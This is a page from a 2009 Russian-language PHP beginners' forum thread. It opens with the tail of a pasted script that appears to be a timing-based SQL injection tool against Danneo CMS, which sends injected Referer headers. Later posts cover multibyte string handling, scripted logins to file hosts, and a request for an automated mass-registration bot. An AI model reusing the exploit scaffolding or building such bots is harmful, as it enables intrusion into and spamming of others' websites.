&nbsp;&nbsp; if($delay &gt; ($delayed * 2)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usleep(($benchmark*4)/1000);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; return false;
}
function dorequest($query,$gethash=false,$getversion=false) {
&nbsp;&nbsp; global $host,$port,$path,$verbose;
&nbsp;&nbsp; if ($gethash&amp;&amp;!$verbose) status();
&nbsp;&nbsp; $start = getmicrotime();
&nbsp;&nbsp; $s = fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp; if (!$s) return false;
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet&nbsp;&nbsp;= "GET {$path}index.php HTTP/1.0\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Host: {$host}\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "User-Agent: InAttack User Agent\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Referer: {$query}\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Connection: Close\r\n\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fputs($s, $packet);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $html='';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (!feof($s)) $html.=fgets($s);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($getversion &amp;&amp; !isset($GLOBALS['version'])) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $out=array();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (preg_match("@&lt;META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^&gt;]+)\"&gt;@i",$html,$out)) $GLOBALS['version']=$out[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $end = getmicrotime();
&nbsp;&nbsp; }
&nbsp;&nbsp; return intval(($end-$start)*10);
}
function status() {
&nbsp;&nbsp; static $n;
&nbsp;&nbsp; $n++;
&nbsp;&nbsp; if ($n &gt; 3) $n = 0;
&nbsp;&nbsp; if($n==0){ print "\r[-]\r"; }
&nbsp;&nbsp; if($n==1){ print "\r[\\]\r";}
&nbsp;&nbsp; if($n==2){ print "\r[|]\r"; }
&nbsp;&nbsp; if($n==3){ print "\r[/]\r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?&gt;

Выручауте пож-та ооочень прошу[:(]
Post #: 550
RE: Вопросы по PHP (для новичков) - 2009-02-26 16:51:13.700000   
AloneMonaX

Сообщений: 106
Оценки: 0
Присоединился: 2009-02-04 14:57:00.896666
Как программно зайти на depositfiles, uploading.com и fileshare? Всмысле авторизизроваться у меня есть акки на них=)
И если кто знает как программно залить на них файлы=)
Post #: 551
RE: Вопросы по PHP (для новичков) - 2009-02-27 00:26:31.400000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
тебе надо через сокеты посылать пакеты или куки так ты авторизируешся..
Post #: 552
RE: Вопросы по PHP (для новичков) - 2009-03-02 11:27:41.900000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
почемуто при использовании функции substr для обрезания строк в конце каждой строки вылазиет фигня кааято
quote:

Все открыт�…

при чём если в последний обрезаемый символ пробел всё нормально.. а если любой символ кирилицы то бок. все данные на сайте (как в базе так и на странице) в коректной кодировке. такая фигня наблюдается кстати не только на моём сайте.. у меня на нескольки движках комерческих везде где идёт обрезка символов вылазиет такая лажа.. я думаю может это проблемма интерпритатора?

в чём проблемма подскажите… и как исправить если можно
Post #: 553
RE: Вопросы по PHP (для новичков) - 2009-03-02 12:38:11.433333   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
magist_bender, http://php.su/functions/?cat=mbstring


А проблема в том, что это UTF-строка. В ней нелатинские символы обозначаются последовательностью байт, т.е. русской букве А соответствуют несколько байт. Функции str* этого не учитывают (фактически, они работают со строкой как с бинарными данными). Например, substr может обрезать "кусочек" буквы А и получится фигня какая-то.
Post #: 554
RE: Вопросы по PHP (для новичков) - 2009-03-03 11:30:21.273333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
понятно…
спасибо.. а как решать данную проблемму я так и непонял…
Post #: 555
RE: Вопросы по PHP (для новичков) - 2009-03-03 13:08:44.246666   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Вместо substr использовать http://www.php.su/functions/?mb-substr
Post #: 556
RE: Вопросы по PHP (для новичков) - 2009-03-03 14:19:57.796666   
Lordout

Сообщений: 32
Оценки: 0
Присоединился: 2009-02-10 15:25:51.633333
Люди есть сайт там есть форма регестрации, без капчи.
Мне нужно сделать чтоб скрипт автоматом заполнял все поля, рандом еще лучше, и наимал кнопку регестрация.
И так раза 100 или болше.
Можно ли такое сделать?
Post #: 557
RE: Вопросы по PHP (для новичков) - 2009-03-03 14:21:42.050000   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Можно.
Post #: 558
RE: Вопросы по PHP (для новичков) - 2009-03-03 14:24:49.540000   
Lordout

Сообщений: 32
Оценки: 0
Присоединился: 2009-02-10 15:25:51.633333
А как?
Post #: 559
RE: Вопросы по PHP (для новичков) - 2009-03-03 14:38:49.330000   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Написать скрипт, который будет это делать) А тебе зачем это?
Post #: 560
Страниц:  1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.